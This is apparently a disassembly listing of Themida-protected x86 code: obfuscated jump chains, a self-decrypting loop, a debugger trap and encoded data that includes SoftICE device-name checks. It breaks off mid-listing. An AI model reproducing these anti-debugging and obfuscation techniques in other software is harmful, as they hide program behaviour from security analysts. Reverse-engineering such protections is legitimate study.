Themida_:005A5D65j xor edi, 6FD54227h add eax, edi pop edi jmp loc_5991AB ; --------------------------------------------------------------------------- loc_5AF11B: ; CODE XREF: Themida_:005A5755j push ebp push eax mov eax, 6B9820E2h jmp loc_5AEED4 ; --------------------------------------------------------------------------- loc_5AF127: ; CODE XREF: Themida_:005ACBB3j xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi jmp loc_5AC250 ; --------------------------------------------------------------------------- loc_5AF13B: ; CODE XREF: Themida_:005A86A1j add esi, 0FCFF6C5Ch xor edx, esi pop esi xor eax, edx pop edx jmp loc_5AD7F3 ; --------------------------------------------------------------------------- loc_5AF14C: ; CODE XREF: Themida_:0059A47Aj jmp loc_5A5F47 ; --------------------------------------------------------------------------- loc_5AF151: ; CODE XREF: Themida_:005A66D0j add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], edi mov edi, 0BA5CACh or ebp, edi mov edi, [esp] add esp, 4 sub ebp, 0FE5CFBh add eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_59A04E ; --------------------------------------------------------------------------- loc_5AF185: ; CODE XREF: Themida_:005A5428j add esi, 4 add esi, 4 push 1FE8h mov [esp], esi push dword ptr [esp+4] jmp loc_5A06DB ; --------------------------------------------------------------------------- loc_5AF1A2: ; CODE XREF: Themida_:0059C76Bj pop ecx and edi, 13EA43DAh jb loc_5AB168 shl edi, 5 push ebp mov ebp, 1CBB702Ch jmp loc_5A2068 ; --------------------------------------------------------------------------- loc_5AF1BD: ; CODE XREF: Themida_:loc_5AA221j neg esi jz loc_5A6493 shl esi, 4 jmp loc_59FE36 ; --------------------------------------------------------------------------- loc_5AF1CD: ; CODE XREF: Themida_:005A9749j mov edx, esp push ecx jmp loc_5A4260 ; --------------------------------------------------------------------------- loc_5AF1D5: ; CODE XREF: Themida_:0059DEDDj ; Themida_:loc_5AB2C7j add esp, 4 add esi, 4 jmp loc_59B271 ; --------------------------------------------------------------------------- loc_5AF1E3: ; CODE XREF: Themida_:005AB7D9j sub esi, ebp jmp loc_5AB3F5 ; --------------------------------------------------------------------------- loc_5AF1EA: ; CODE XREF: Themida_:005ADBD8j sub ebx, 60855C3Fh add ebx, edi add ebx, 60855C3Fh jmp loc_5A2B61 ; --------------------------------------------------------------------------- loc_5AF1FD: ; CODE XREF: Themida_:005AC282j push dword ptr [esp] jmp loc_5A3E9F ; --------------------------------------------------------------------------- loc_5AF205: ; CODE XREF: Themida_:0059D7A2j ; Themida_:005A16F7j ... push edx mov edx, 5BD461D8h sub edi, 4741574Fh add edi, edx add edi, 4741574Fh pop edx jmp loc_5A575A ; --------------------------------------------------------------------------- loc_5AF21F: ; CODE XREF: Themida_:0059CF63j push eax push dword ptr [esp+4] pop eax jmp loc_59C602 ; --------------------------------------------------------------------------- loc_5AF22A: ; CODE XREF: Themida_:005ACBE4j push esi jmp loc_5A23D3 ; --------------------------------------------------------------------------- loc_5AF230: ; CODE XREF: Themida_:005A47CBj xor edi, [esp] xor [esp], edi jmp loc_5AD966 ; --------------------------------------------------------------------------- loc_5AF23B: ; CODE XREF: Themida_:005AA578j add esp, 4 sub ebx, 9F7632Eh add ebx, eax add ebx, 9F7632Eh mov eax, [esp] add esp, 4 jmp loc_59A3E8 ; --------------------------------------------------------------------------- loc_5AF25D: ; CODE XREF: Themida_:0059E9B3j ; Themida_:005A3F74j xchg ecx, [esp] pop esp push ecx push esi push 6C46h mov [esp], edx push 1B731FCBh jmp loc_5A7C89 ; --------------------------------------------------------------------------- loc_5AF275: ; CODE XREF: Themida_:005A1546j jns loc_59B387 dec ah jle loc_5A7143 mov ch, bl loc_5AF285: ; CODE XREF: Themida_:0059FAC7j add esp, 4 add edi, 4 jmp loc_59863C ; --------------------------------------------------------------------------- loc_5AF293: ; CODE XREF: Themida_:005A6132j shl edx, 6 js loc_5AAD03 inc edx jle loc_5AD4AD mov edi, ebx sub al, 8Dh loc_5AF2A7: ; CODE XREF: Themida_:005A4904j sub ebx, 5AA75DF3h add ebx, 7A60009Eh jmp loc_59A67C ; --------------------------------------------------------------------------- loc_5AF2B8: ; CODE XREF: Themida_:005AD3E8j add esp, 4 sub eax, 0FFFFFFFFh xor eax, 61153144h sub edi, 0F1B2120h jmp loc_59AAA4 ; --------------------------------------------------------------------------- loc_5AF2CE: ; CODE XREF: Themida_:005A5D2Ej add esp, 4 add al, cl push edx jmp loc_598715 ; --------------------------------------------------------------------------- loc_5AF2DC: ; CODE XREF: Themida_:005AE8FBj mov ebp, ebx pop ebx jmp loc_5A9203 ; --------------------------------------------------------------------------- loc_5AF2E4: ; CODE XREF: Themida_:005A24EAj push ebp mov ebp, 1D95653Ah dec ebp shr ebp, 3 jmp loc_59A1A0 ; --------------------------------------------------------------------------- loc_5AF2F3: ; CODE XREF: Themida_:0059EC97j sub bl, cl pop ecx push edx push ebp mov ebp, 63675EC4h or ebp, 3306324Bh jmp loc_5AF4D9 ; --------------------------------------------------------------------------- loc_5AF308: ; CODE XREF: Themida_:005988C7j shl eax, 3 dec eax jmp loc_5A828D ; --------------------------------------------------------------------------- loc_5AF311: ; CODE XREF: Themida_:005A5286j jns loc_5A10EB push ebx jmp loc_5AEDD2 ; --------------------------------------------------------------------------- pop ebx dec dl pop esp mov cx, [esp] push 788Ah jmp loc_5A182D ; --------------------------------------------------------------------------- loc_5AF32F: ; CODE XREF: Themida_:0059C37Aj push edi mov edi, 4 add edx, 0C96040Bh push eax push edi mov edi, 7B49452Ch neg edi push eax mov eax, 42E57C53h add eax, 9D1F27D9h add edi, eax jmp loc_59F66A ; --------------------------------------------------------------------------- loc_5AF356: ; CODE XREF: Themida_:005A46BEj xor al, 9 mov ch, al pop eax push eax mov al, 0D1h push small 0 sub [esp], al jmp loc_5ADC7C ; --------------------------------------------------------------------------- loc_5AF36A: ; CODE XREF: Themida_:005AC9A5j mov ecx, [esp] add esp, 4 add esp, 4 or eax, eax jz loc_59CA19 push ecx push 28h pop ecx push 0F39h mov [esp], edi jmp loc_59A6DC ; --------------------------------------------------------------------------- loc_5AF392: ; CODE XREF: Themida_:005994D0j sub esp, 4 push esp pop dword ptr [esp] push edi push ecx mov ecx, 3F8C784Bh shl ecx, 6 jp loc_5A2AFB add ecx, 1CE1ED44h mov edi, ecx mov ecx, [esp] xor al, 0A1h mov edi, ebx loc_5AF3B8: ; CODE XREF: Themida_:005AD406j push 15DFh mov [esp], ecx sub esp, 4 mov [esp], eax jmp loc_5ACB24 ; --------------------------------------------------------------------------- loc_5AF3CB: ; CODE XREF: Themida_:005AEA1Ej mov esi, esp jmp loc_59C7E4 ; --------------------------------------------------------------------------- loc_5AF3D2: ; CODE XREF: Themida_:005A4493j pop dword ptr [esp] mov esp, [esp] jmp loc_5AD24B ; --------------------------------------------------------------------------- loc_5AF3DD: ; CODE XREF: Themida_:005A3CD2j xor edi, ebx jmp loc_599088 ; --------------------------------------------------------------------------- loc_5AF3E4: ; CODE XREF: Themida_:005A0A65j add esi, 503CE251h mov eax, esi jmp loc_5A35DF ; --------------------------------------------------------------------------- loc_5AF3F1: ; CODE XREF: Themida_:005A4249j add ecx, ebx pop ebx jmp loc_59AD63 ; --------------------------------------------------------------------------- loc_5AF3F9: ; CODE XREF: Themida_:0059F8A5j sub edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_599EBE ; --------------------------------------------------------------------------- loc_5AF415: ; CODE XREF: Themida_:005A0D22j push edx jmp loc_5A056D ; --------------------------------------------------------------------------- loc_5AF41B: ; CODE XREF: Themida_:005A2247j push 686034EBh pop eax inc eax add eax, 4E4346ACh xor eax, 8263043Dh jmp loc_5A7C9C ; --------------------------------------------------------------------------- loc_5AF431: ; CODE XREF: Themida_:005A90C1j sub eax, 0B633FD8h push esi mov esi, 2E8E1468h push ecx mov ecx, 41547813h xor ecx, 724531A5h sub esi, ecx pop ecx add esi, 42F0440Fh sub eax, esi pop esi jmp loc_598A3F ; --------------------------------------------------------------------------- loc_5AF459: ; CODE XREF: Themida_:005A35CCj push esp pop ecx push ebx mov ebx, 4 add ecx, ebx pop ebx sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edx push esp pop edx add edx, 4 push ecx mov ecx, 4 add edx, ecx mov ecx, [esp] add esp, 4 xchg edx, [esp] jmp loc_59D73A ; --------------------------------------------------------------------------- loc_5AF497: ; CODE XREF: Themida_:005AA364j xchg bl, [esp+1] pop ax jmp loc_59D16C ; --------------------------------------------------------------------------- loc_5AF4A2: ; CODE XREF: Themida_:005A6352j mov esp, [esp] shr eax, 10h xor eax, ecx push 585Ch jmp loc_5A3350 ; --------------------------------------------------------------------------- loc_5AF4B4: ; CODE XREF: Themida_:005AA15Ej pop ebp sub esp, 4 jmp loc_5A7FB5 ; --------------------------------------------------------------------------- loc_5AF4C0: ; CODE XREF: Themida_:005A3259j not dh inc dh jmp loc_59A979 ; --------------------------------------------------------------------------- loc_5AF4C9: ; CODE XREF: Themida_:0059D8D8j push edi mov edi, esp jmp loc_5AB400 ; --------------------------------------------------------------------------- loc_5AF4D1: ; CODE XREF: Themida_:0059A3C6j mov ebp, [esp] jmp loc_5AA369 ; --------------------------------------------------------------------------- loc_5AF4D9: ; CODE XREF: Themida_:005AF303j push 0FB0h mov [esp], esi push 1B175AFh jmp loc_5A0C58 ; --------------------------------------------------------------------------- loc_5AF4EB: ; CODE XREF: Themida_:005A1857j mov dx, [esp] push 70FEh mov [esp], eax jmp loc_5AE6E3 ; --------------------------------------------------------------------------- loc_5AF4FC: ; CODE XREF: Themida_:005AB0E0j sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_5A304A ; --------------------------------------------------------------------------- loc_5AF50E: ; CODE XREF: Themida_:005AD15Aj add esp, 4 jmp loc_5AC9C4 ; --------------------------------------------------------------------------- loc_5AF519: ; CODE XREF: Themida_:005A4397j push eax mov al, cl mov bh, al pop eax pop ecx inc bh jz loc_5AD73C jmp loc_59CC55 ; --------------------------------------------------------------------------- loc_5AF52D: ; CODE XREF: Themida_:005990A4j pop dword ptr [esp] mov esp, [esp] mov ax, [esp] jmp loc_5A23C0 ; --------------------------------------------------------------------------- loc_5AF53C: ; CODE XREF: Themida_:005AD20Bj sub edx, 35EE7308h mov ebx, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AF54D: ; CODE XREF: Themida_:00599858j push edx mov edx, 442E49E6h add edx, 42F90AA9h add edx, 325B35D7h shl edx, 8 dec edx xor edx, 0A971776Ah mov ecx, edx pop edx jmp loc_59EF18 ; --------------------------------------------------------------------------- loc_5AF571: ; CODE XREF: Themida_:005ABC63j mov ebp, [esp] add esp, 4 sub eax, ebp sub eax, 5C007630h pop ebp jmp loc_598462 ; --------------------------------------------------------------------------- loc_5AF587: ; CODE XREF: Themida_:00599505j add ebx, esi jmp loc_5A48ED ; --------------------------------------------------------------------------- loc_5AF58E: ; CODE XREF: Themida_:005AF0ACj not ch jmp loc_5A430A ; --------------------------------------------------------------------------- loc_5AF595: ; CODE XREF: Themida_:00589FA2j call near ptr loc_5AF5A3+1 int 3 ; Trap to Debugger outsb xchg eax, esp push ebx push ds adc [esi], dl mov dl, 23h loc_5AF5A3: ; CODE XREF: Themida_:loc_5AF595p sub [ecx-40A3780Dh], eax xor bl, [edx+56h] jmp loc_5AF5C1 ; --------------------------------------------------------------------------- db 16h, 0ABh, 0E6h dd 3A6BB97Ah, 197E4175h, 5004EDB1h db 67h ; --------------------------------------------------------------------------- loc_5AF5C1: ; CODE XREF: Themida_:005AF5ACj pop eax add edx, 6750h or ebx, [ebp+7E42569h] xor esi, esi jmp loc_5AF5DE ; --------------------------------------------------------------------------- db 0A2h, 30h, 86h dd 93E091CEh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 1Ah ; --------------------------------------------------------------------------- loc_5AF5DE: ; CODE XREF: Themida_:005AF5D0j ; Themida_:005AF65Aj push dword ptr [esi+edx] jmp loc_5AF5FA ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 46h dd 0B4195B80h, 0C64621E8h, 0A18F149Ch, 0C4D34EDh db 5Dh, 1Ah ; --------------------------------------------------------------------------- loc_5AF5FA: ; CODE XREF: Themida_:005AF5E1j pop edi mov ebx, [ebp+7E40041h] xor edi, 72A6E77Eh mov eax, [ebp+7E4183Dh] add edi, 3A8819EAh jmp loc_5AF61E ; --------------------------------------------------------------------------- dd 0C8219241h db 18h, 5 ; --------------------------------------------------------------------------- loc_5AF61E: ; CODE XREF: Themida_:005AF613j xor edi, 0F838136h mov ax, 130Ah mov [edx+esi], edi push eax sub eax, [ebp+7E415B1h] pop ecx sub [ebp+7E41F95h], ebx sub esi, 3 xor [ebp+7E405F9h], ebx dec esi jmp loc_5AF654 ; --------------------------------------------------------------------------- dd 8395C814h, 42FA809Fh, 8B07218Bh ; --------------------------------------------------------------------------- loc_5AF654: ; CODE XREF: Themida_:005AF643j cmp esi, 0FFFF9974h jnz loc_5AF5DE mov ah, 68h jmp loc_5AF6C9 ; --------------------------------------------------------------------------- db 0F8h dd 551489D7h, 33524553h, 6C642E32h, 4441006Ch, 49504156h dd 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 207D800h dd 19000100h, 2B001000h, 32001D00h, 1, 0Ah dup(0) db 0 ; --------------------------------------------------------------------------- loc_5AF6C9: ; CODE XREF: Themida_:005AF662j jmp loc_5AFFF7 ; --------------------------------------------------------------------------- push 7E6D349h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E6D3B8h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E6D4FFh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E6D661h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E6D6EEh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E6D808h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E6D87Ch jmp loc_58A287 ; --------------------------------------------------------------------------- dd 51E507DFh, 0AE42623Bh, 0EA2BC98h, 710519F8h, 0D064805Bh dd 7D58F1F7h, 0DDB7CD61h, 37152BBFh, 9A778D21h, 8B3BEE82h dd 0A472690Eh, 11A0E513h, 0B84C445h, 8D653A3h, 0D713A68Ch dd 0B5415F39h, 0EA85BDDBh, 4E89F9D8h, 0AED159D1h, 16212A83h dd 0CA7CCD8Ch, 5DAD018Eh, 68805DFBh, 0FC2E06FDh, 0F774D4F5h dd 0F5FC2E00h, 0FA0C65CEh, 2F419F1Ch, 0AF0FF218h, 0E0304D32h dd 14A009FDh, 48E31B3Bh, 0AFE0B7EFh, 3611AFFFh, 0AD2A081Ah dd 0FA040B0Eh, 41A3F35Ch, 76AEC6A3h, 0D2AFC9DBh, 331026BAh dd 0A8AA8714h, 0C29E1B81h, 7CD570A8h, 89DA581Ch, 6EC7D4B5h dd 76D9511Ah, 38BEFE80h, 766h, 11A5C79Fh, 6E0222FBh, 0CE627C58h dd 31C5D9B8h, 9024401Bh, 3D1831B7h, 9D778D21h, 0F7D5EB7Fh dd 5A374DE1h, 4BFBAE42h, 0A47329CEh, 0D160A513h, 29617956h dd 21713D52h, 2A4621BFh, 4C4557F2h, 13A47153h, 0E44696FFh dd 0F2526846h, 9B062C29h, 7B95A729h, 9937879Dh, 6F91A3BDh dd 2D657B59h, 166A825Fh, 6A16DF5Fh, 0F73EC404h, 0E000006h dd 6A801436h, 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh dd 90AC87C0h, 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh dd 13A47346h, 5640CF14h, 5B296179h, 0EA2E667Eh, 0F7188AECh dd 0EF182035h, 6916ED58h, 5BC41442h, 0C4F8AC49h, 0E05B543Bh dd 2E6EB5Dh, 3345C9B5h, 79B1CBA7h, 672DCCDEh, 4D000000h dd 0A8BAD2AFh, 617956D3h, 7A55F3CDh, 77774C5Eh, 1442A084h dd 861A320Fh, 1A300EACh, 4AAE508h, 0D2F337B4h, 51C113A6h dd 1EFB908Ch, 7FEDA606h, 0F290E039h, 0D5EFCB14h, 0E98E0B9Dh dd 6513A67Dh, 0FA4AA3FCh, 31697D5Ch, 4C628496h, 6A08586Eh dd 9E397191h, 3740C68Ch, 0C6000006h, 7D10E764h, 55BE13A6h dd 79566E43h, 3D522961h, 3AA42171h, 5813A6BDh, 25019FEFh dd 2638D30Bh, 0F911EE04h, 65494665h, 899C7715h, 0A6BE770Ch dd 217AE313h, 5E3C4EE9h, 406FF5E1h, 0E6369F14h, 968BE174h dd 0CB669EBCh, 0E754116Bh, 7B59F7D5h, 3D0AF16Eh, 58C81B88h dd 9A6121B8h, 0B3035C19h, 88E04136h, 4BA40D1Bh, 0ADC3A1B7h dd 97E2BF5Dh, 0CB669EBEh, 0CC9A6072h, 0FC83D7EFh, 7B6232D6h dd 5B0B53Bh, 7D550000h, 0D8B1C75Bh, 320E24B8h, 8F6E8418h dd 0F6D1E77Bh, 876D46DAh, 43D7F3CEh, 0A135532Dh, 397AD8Bh dd 64F810EDh, 0FF8401B1h, 5B13A474h, 79568716h, 7E5B2961h dd 86602E66h, 0E8415735h, 0EF03E2B0h, 0AED653B7h, 6323E0E2h dd 42A26F1Dh, 8560FE14h, 2B963169h, 1442A254h, 0CC499902h dd 1442A237h, 94E13AA3h, 0E05C0F6Ah, 0FFFEBE69h, 0F49292FFh dd 9472FE18h, 75526C7Eh, 2193255Dh, 0CC2DA9F2h, 0CDB22FF4h dd 89144217h, 92B5C720h, 0E461B1FDh, 13A61AFAh, 81CFB99h dd 5EAE17F6h, 65F87FFCh, 0ED5613A6h, 0F59AB9DBh, 6EC69B9h dd 0D5144245h, 30425A37h, 3B0E851h, 1B8A4579h, 0D487BFD0h dd 19E78862h, 52ED253Bh, 0C4D0E0F2h, 7E00BD64h, 4A5C6560h dd 93BB906Fh, 1B545D0h, 456E0000h, 0A30B84C4h, 8C08D653h dd 75D713A6h, 0A68C03F8h, 0A1B59413h, 147DCE69h, 0B1BA2302h dd 2F4523C1h, 90B2241Dh, 0F39CCA7Ch, 90EE6BBBh, 5EF218E8h dd 2907A5F5h, 2CD81B0Ch, 0E43D54E5h, 39FF11ACh, 31812D62h dd 3BAD52CFh, 0C029FDE0h, 7453D0AEh, 2FA0400h, 0CEAB4999h dd 548CA883h, 0AE1060B9h, 0C4774A31h, 4F9F08E5h, 0C4772DD2h dd 2E40A9E5h, 119F60Ch, 763FDCADh, 0E96FAF80h, 44Eh, 29BDDFB7h dd 861A3A13h, 0E67A9470h, 49DDF1D0h, 0A83C5833h, 553029CFh dd 0B58FA539h, 0FED0397h, 724F65F9h, 6313C65Ah, 0A47611E6h dd 0E978BD13h, 1C6C424Dh, 798B9F7Eh, 5AD7399Bh, 1442A0A5h dd 0C6FE1CF6h, 0FD7ADA2Bh, 1442A006h, 86126BD4h, 0BB568EACh dd 7137B0A9h, 0DE7C13A4h, 1996E604h, 13A47262h, 967587F0h dd 663FDD2Dh, 0B8563446h, 82B1BDDAh, 0EA41A224h, 9E7FD91h dd 10EDBBF3h, 16EFA4F8h, 70B06A17h, 3C1EAh, 4A6C4400h dd 0A7C7A0B6h, 721FD13h, 6A7E5D73h, 0C9E5C0D6h, 0BD965C35h dd 1C32C6E2h, 7A902442h, 0DCF2869Ch, 0A053E7FFh, 768C73F0h dd 54A13A4h, 0DB209276h, 0EA031491h, 22FF192Bh, 2704D20Ah dd 2C09D70Fh, 8D3ADC14h, 1A43FAB5h, 0B6CEAB37h, 6A1A9D7Eh dd 44CDB22Fh, 20891442h, 65C7C5C7h, 424413E8h, 656BF14h dd 4244F289h, 0E5F76014h, 0B4421C48h, 1A144246h, 14EB68CAh dd 0C2144246h, 926C4759h, 41E05B2Bh, 0FFFFFCB3h, 6179566Ah dd 713D5229h, 0A31AAF21h, 0BEACDC71h, 0FB51CEACh, 7913A6E6h dd 92AB7C10h, 0C4FC1AF4h, 0B8EC1729h, 0F5456926h, 0B284DF83h dd 0B95CBCD6h, 815F71B7h, 0A6BE5604h, 929B0413h, 0F2704A2h dd 312A3CD7h, 0BBB18D54h, 0EDC6B5DAh, 0A1FA95CDh, 70B6D451h dd 0DB44BC5Dh, 0EBC3CCA3h, 523FD9Bh, 422032CDh, 7949E6C5h dd 971474A4h, 0AB86ADE0h, 38B5056Eh, 0AB86AD43h, 0FD4DA60Fh dd 0D66A825Fh, 77CBE3C0h, 0B2390A26h, 0A7C74D8Dh, 5E000002h dd 0BAD06486h, 172DC1E1h, 778D213Bh, 0DAF08498h, 764FE3FFh dd 0E0FCD770h, 3E5C364Ch, 0A0B694AAh, 119F60Ch, 8D0ABA6Dh dd 13A478F6h, 4D901F64h, 0BA1C6C42h, 4C11C348h, 8D9F1707h dd 0A4D8E994h, 8B086A13h, 13A5DCF4h, 8E7F962h, 0D3B14F9Fh dd 351329BDh, 5731CF1Fh, 6660139h, 0AB959990h, 0FDC3D5C4h dd 0E63A522Fh, 6A15BEC1h, 3340C606h, 0D2000002h, 2E44D8FAh dd 8BA13555h, 0EB0195AFh, 4E64F80Ch, 0EAC35773h, 54704B04h dd 0B2D0AAC0h, 142A081Eh, 758D6A80h, 17E2EE1h, 13A4787Ah dd 4D0493D8h, 0BA1C6C42h, 8279F658h, 501442A0h, 0A0877CE7h dd 0EA531442h, 0BF38Ah, 0ECFE20FEh, 0A4DB0AF3h, 0F5FC813h dd 437B9571h, 1AB896A8h, 7291253Dh, 0C23F8F1Fh, 13A5DB37h dd 122806A4h, 68B82100h, 99D1F1CAh, 5826ECFEh, 9D29617Dh dd 0ACFC18F3h, 719310Eh, 0E3CBC6E5h, 0A31E2193h, 0D737512Dh dd 0FA0CE95Eh, 29D09F1Ch, 1D7F13A5h, 0A529DBA0h, 0FC0E7713h dd 0BB40BD1Dh, 1713A529h, 2D4522AEh, 0F1CE9CD4h, 9D0FA1D9h dd 3CCDF99h, 0B1899B0Bh, 7E122A07h, 3B738B68h, 61C6F15Ch dd 125D3A25h, 48E31B37h, 68455BEFh, 6F4A1850h, 57910353h dd 0CABD72B5h, 0FBC98FA1h, 0FDCB0321h, 90CF0721h, 0D9D59DC9h dd 0CE95410h, 2706A4F4h, 5DF0113h, 8A5126A3h, 94FD13A5h dd 718D6882h, 0C4F35A39h, 5D38275Fh, 0BC97AD41h, 74D668A0h dd 0A58A00F7h, 5365CE13h, 0D455B39h, 58C77F56h, 0B7CD617Dh dd 0DD8AC2DAh, 0ABD6ED64h, 104BFBD2h, 0B5DB809Eh, 7F911A27h dd 0DC708865h, 99D1E9C6h, 6C33A507h, 7855CB7Ah, 5EFB80EBh dd 0EE57D418h, 326A8862h, 906B8597h, 0AB22474h, 0CD2267DCh dd 0AF6390F0h, 2982317Ch, 70ED5117h, 546C4934h, 6E8C6604h dd 67899B36h, 245C7451h, 1C6C424Dh, 0FC8BC99Fh, 0A92688D3h dd 0DC7C8BD2h, 26051780h, 0DD4F29BDh, 5DEEB83Bh, 4273940h dd 71D3238Bh, 7C6A0FF4h, 5062CBDCh, 0BBD6F572h, 3BA4DB9Ah dd 49583503h, 673C37CCh, 2B07A3C4h, 0E53ED911h, 5DDA3C8Ch dd 0C4673CA6h, 0A1BD9834h, 6375CE69h, 0EEC96741h, 0C9A6C0D2h dd 1ACC79B1h, 0F7D70830h, 7653CA7Ah, 0D7B4CA5Eh, 77980EB8h dd 0CF28563Ah, 0D6EAC997h, 5410E79Eh, 60F40CE9h, 5556D4Ah dd 7E094F93h, 0D6127A01h, 0F6FD8F7h, 1E9B7174h, 0F7D6F059h dd 0A7338CF5h, 0DF7AB2CAh, 38107CDh, 10000000h, 7E563E8Dh dd 7956245Ch, 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch dd 8A69376Fh, 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h dd 53000000h, 4BBh, 5BD82900h, 5C240487h, 81E78957h, 4C7h dd 4EF8100h, 87000000h, 895C243Ch, 89502404h, 405E0h, 0E8830000h dd 24048704h, 240C895Ch, 0E6D28968h, 24048B07h, 6804C483h dd 4140h, 83242489h, 59042404h, 89C78957h, 3C8B0879h, 4C48324h dd 56240C8Bh, 0C681E689h, 4, 8704C683h, 8B5C2434h, 89572404h dd 4C781E7h, 83000000h, 3C8704C7h, 9CE95C24h, 59FFFDA2h dd 7AC70D40h, 0E80D1360h db 0C0h, 94h, 5Dh ; --------------------------------------------------------------------------- loc_5AFFF7: ; CODE XREF: Themida_:loc_5AF6C9j mov eax, 7E6DAD4h add eax, ebp jmp eax ; --------------------------------------------------------------------------- sub al, 71h push edx inc esp popa pop esp db 65h, 3Eh retf ; --------------------------------------------------------------------------- db 77h, 5Eh, 17h dd 40A5DE7h, 48E26Ch, 5CB4A75Ah, 2E765453h, 50A61644h dd 479B8401h, 6D228A16h, 1D724AF1h, 5D6E99F5h, 1D2C5FA7h dd 2F780FC1h, 208115C9h, 4904DA2Eh, 24EE9497h, 3D53A836h dd 45EB1AAh, 1E3CB047h, 0D17FD53h, 60A87123h, 17AE9A58h dd 8CE9h, 0BD836000h, 7E41289h, 5840F00h, 0E9000000h, 77h dd 3E80006Ah, 8850F30h, 6A000000h, 35E94600h, 80000000h dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h dd 13E9h, 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h dd 0F203E80h dword_5B00C0 dd 1285h, 17E8000h, 8850F00h, 83000000h, 14E908C4h, 8D000000h ; DATA XREF: Themida_:00583EC0o dd 0E430C185h, 90509007h, 6A965096h, 6195FF00h, 6107E421h dd 2D85C6C3h, 4D07E42Ch, 0B4C00768h, 24048134h, 6F80B6A1h dd 1DE1B5FFh, 858D07E4h, 7E43BDCh, 8589D0FFh, 7E42161h dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h dd 5C5C0044h, 544E5C2Eh, 454349h, 0E681C08Bh, 4FE587D4h dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501974h dd 0FB8C08Bh, 89000004h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h dd 83585BD3h, 0E40935BDh, 17740007h, 0FB85350h, 89000004h dd 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 80585BD3h, 81668CF5h dd 8BDD10D2h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0BDC4C506h, 0B58BF167h, 7E42FDDh dd 2C2D85C6h, 0E94307E4h, 0Ch, 61CB1B49h, 9C001A28h, 9E9B184Eh dd 0E8D0BF0Fh, 4, 0BC8E6EFCh, 22B96650h, 24448B93h, 0DF27BA04h dd 8B2374h, 89CA8B66h, 66042444h, 8958D68Bh, 0E4155D85h dd 9DB5FF07h, 6A07E401h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 5F05C350h, 3BDC858Dh dd 0B58907E4h, 7E41851h, 1E3D9529h, 0D0FF07E4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A2C35545h, 29DBD2Bh dd 9D8907E4h, 7E40401h, 8E8CBA90h, 8B5000A3h, 6A90D6h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 9EE147C3h, 8166006Ah, 0E86861C6h, 4, 80h, 840F50h, 8B000000h dd 0E9042444h, 10h, 67209FE3h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh dd 0FE8008Bh, 0C0000000h, 9F8C5D36h, 937E7B53h, 412C6C41h dd 5050CA57h, 5A310F52h, 89595F58h, 57042444h, 12E9h, 63D86C00h dd 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 5FA3EE17h, 4DBD3358h dd 8B07E431h, 0E40A1D95h, 60036A07h, 1FFDBD8Bh, 0D78B07E4h dd 0B5006A61h, 6A036ADEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 1628C352h, 9D89723Ah dd 7E426F9h, 2DBE4B68h, 243481A4h, 642DBE4Bh, 3D57BA66h dd 0DC8B9D8Dh, 953107E6h, 7E42C4Dh, 13E993h, 20E30000h dd 0CC5412BBh, 74E656Fh, 0D89853EEh, 6FC2E8FFh, 6660503Bh dd 579431B9h, 61585E52h, 0DE993h, 3A2A0000h, 3A66391Eh dd 0FC5D66A2h, 299F3790h, 0E40FA99Dh, 66D0FF07h, 40CB13BFh dd 2B1850Fh, 13E90000h, 0F9000000h, 0D21F5C18h, 81BEE0C6h dd 0E743F1Ah, 306D7C49h, 0BE58001Bh, 2943108Fh, 0E8505190h dd 0Fh, 2C6653DCh, 0FDEC8EE3h, 45CD2C38h, 59281797h, 56505F5Eh dd 66FE8B60h, 5E61C88Bh, 39BD8990h, 6A07E42Bh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 8C690231h, 539C934Bh, 85894526h, 7E41E11h, 78DFBC68h dd 8870FA6h, 0F000000h, 281h, 81B7B500h, 20C42404h, 0C5805987h dd 6A036AFDh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0C812C353h, 53E6F253h, 0BF575C50h dd 1F19B531h, 6A07E4h, 95858960h, 2307E42Dh, 0E403B185h dd 13E86107h, 17000000h, 2D359E9h, 3D97BBC3h, 8A7CB036h dd 6BAA491h, 0BE99F42h, 10000000h, 6F1D5A7Eh, 0E003C70Ch dd 6A5F94D5h, 42BE6603h, 74D5680Bh, 800FA61Fh, 0 dd 0D5243481h, 9661F74h, 0E41CFD8Dh, 949D8D07h, 8107E6DCh dd 834DD7EAh, 